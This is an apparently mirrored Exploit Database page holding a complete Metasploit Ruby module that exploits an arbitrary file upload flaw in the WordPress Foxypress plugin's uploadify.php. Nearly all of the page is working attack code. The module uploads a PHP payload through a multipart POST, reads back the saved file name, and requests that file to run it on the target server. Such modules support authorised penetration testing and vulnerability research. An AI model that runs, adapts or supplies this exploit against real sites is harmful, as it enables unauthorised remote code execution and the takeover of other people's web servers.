WordPress Plugin Foxypress – ‘Uploadify.php’ Arbitrary Code Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2012-06-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/19100/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'WordPress plugin Foxypress uploadify.php Arbitrary Code Execution',
  			'Description'=> %q{
  					This module exploits an arbitrary PHP code execution flaw in the WordPress
  				blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
  				file upload and remote code execution via the uploadify.php script. The Foxypress
  				plug-in versions 0.4.2.1 and below are vulnerable.
  			},
  			'Author' =>
  				[
  					'Sammy FORGIT', # Vulnerability Discovery, PoC
  					'patrick' # Metasploit module
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision$',
  			'References' =>
  				[
  					['EDB', '18991'],
  					['OSVDB', '82652'],
  					['BID', '53805'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Compat'=>
  						{
  							'ConnectionType' => 'find',
  						},
  				},
  			'Platform' => 'php',
  			'Arch' => ARCH_PHP,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DisclosureDate' => 'Jun 05 2012',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]),
  			], self.class)
  	end
  
  	def check
  		uri = target_uri.path
  		uri << '/' if uri[-1,1] != '/'
  
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php"
  		})
  
  		if res and res.code == 200
  			return Exploit::CheckCode::Detected
  		else
  			return Exploit::CheckCode::Safe
  		end
  	end
  
  	def exploit
  
  		uri = target_uri.path
  		uri << '/' if uri[-1,1] != '/'
  
  		peer = "#{rhost}:#{rport}"
  
  		post_data = Rex::MIME::Message.new
  		post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
  
  		print_status("#{peer} - Sending PHP payload")
  
  		res = send_request_cgi({
  			'method' => 'POST',
  			'uri'=> "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php",
  			'ctype'=> 'multipart/form-data; boundary=' + post_data.bound,
  			'data' => post_data.to_s
  		})
  
  		if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
  			print_error("#{peer} - File wasn't uploaded, aborting!")
  			return
  		end
  
  		print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> "#{uri}wp-content/affiliate_images/#{$1}.php"
  		})
  
  		if res and res.code != 200
  			print_error("#{peer} - Server returned #{res.code.to_s}")
  		end
  
  	end
  
  end